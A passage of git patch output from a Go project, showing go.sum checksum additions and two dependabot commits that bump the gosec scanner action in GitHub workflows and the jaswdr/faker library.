h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= @@ -166,8 +182,10 @@ github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vb github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/godbus/dbus/v5 v5.0.6/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= @@ -245,6 +263,7 @@ github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -309,6 +328,7 @@ github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= +github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= @@ -373,6 +393,7 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -380,6 +401,7 @@ github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/lib/pq v0.0.0-20180327071824-d34b9ff171c2/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -432,11 +454,14 @@ github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RR github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= +github.com/moby/term v0.0.0-20201216013528-df9cb8a40635/go.mod h1:FBS0z0QWA44HXygs7VXDUOGoN/1TV3RuWkLO04am3wc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= @@ -446,7 +471,13 @@ github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= +github.com/opencontainers/image-spec v1.0.2/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= +github.com/opencontainers/runc v1.1.2/go.mod h1:Tj1hFw6eFWp/o33uxGf5yF2BX5yz2Z6iptFpuvbbKqc= +github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= +github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/ory/dockertest/v3 v3.9.1/go.mod h1:42Ir9hmvaAPm0Mgibk6mBPi7SFvTXxEcnztDYOJ//uM= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= @@ -527,6 +558,7 @@ github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5A github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/seccomp/libseccomp-golang v0.9.2-0.20210429002308-3879420cc921/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= @@ -534,6 +566,8 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= +github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= @@ -576,10 +610,17 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= +github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= +github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= +github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= +github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -779,6 +820,7 @@ golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -788,6 +830,7 @@ golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191115151921-52ab43148777/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -809,6 +852,7 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200831180312-196b9ba8737a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -835,9 +879,12 @@ golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211116061358-0a5406a5449c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -847,6 +894,7 @@ golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220405210540-1e041c57c461/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -886,6 +934,7 @@ golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBn golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -1149,6 +1198,8 @@ gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= +gotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= From 3d62dfa0ef8d25e3c28080fde2bff06503d7db81 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 6 Feb 2023 18:16:44 +0000 Subject: [PATCH 0369/1062] chore(deps): bump securego/gosec from 2.14.0 to 2.15.0 Bumps [securego/gosec](https://github.com/securego/gosec) from 2.14.0 to 2.15.0. - [Release notes](https://github.com/securego/gosec/releases) - [Changelog](https://github.com/securego/gosec/blob/master/.goreleaser.yml) - [Commits](https://github.com/securego/gosec/compare/v2.14.0...v2.15.0) --- updated-dependencies: - dependency-name: securego/gosec dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index fff506b488..ee150d8891 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -123,7 +123,7 @@ jobs: with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - - uses: securego/gosec@v2.14.0 + - uses: securego/gosec@v2.15.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index a7c9e2ecbb..5ab837e9c0 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -35,7 +35,7 @@ jobs: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - name: Run Gosec Security Scanner - uses: securego/gosec@v2.14.0 + uses: securego/gosec@v2.15.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... From 024c847742e64c1599208707be8c1503671dcdb1 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 17 Mar 2023 10:42:58 +0000 Subject: [PATCH 0370/1062] chore(deps): bump github.com/jaswdr/faker from 1.4.3 to 1.16.0 Bumps [github.com/jaswdr/faker](https://github.com/jaswdr/faker) from 1.4.3 to 1.16.0. - [Release notes](https://github.com/jaswdr/faker/releases) - [Commits](https://github.com/jaswdr/faker/compare/v1.4.3...v1.16.0) --- updated-dependencies: - dependency-name: github.com/jaswdr/faker dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 52d462763f..752e334e80 100644 --- a/go.mod +++ b/go.mod @@ -11,7 +11,7 @@ require ( github.com/grpc-ecosystem/grpc-gateway v1.16.0 github.com/influxdata/influxdb-client-go/v2 v2.12.2 github.com/jackc/pgx/v4 v4.16.1 - github.com/jaswdr/faker v1.4.3 + github.com/jaswdr/faker v1.16.0 github.com/lib/pq v1.10.2 github.com/mattn/goveralls v0.0.11 github.com/o1egl/paseto v1.0.0 diff --git a/go.sum b/go.sum index 2f067533be..9f89d48e1d 100644 --- a/go.sum +++ b/go.sum @@ -388,8 +388,8 @@ github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0f github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= -github.com/jaswdr/faker v1.4.3 h1:7Y97vnXN0NEO4GxwggrF5+mJRFiHmhdqTpJ52CE00Ok= -github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= +github.com/jaswdr/faker v1.16.0 h1:5ZjusQbqIZwJnUymPirNKJI1yFCuozdSR9oeYPgD5Uk= +github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go 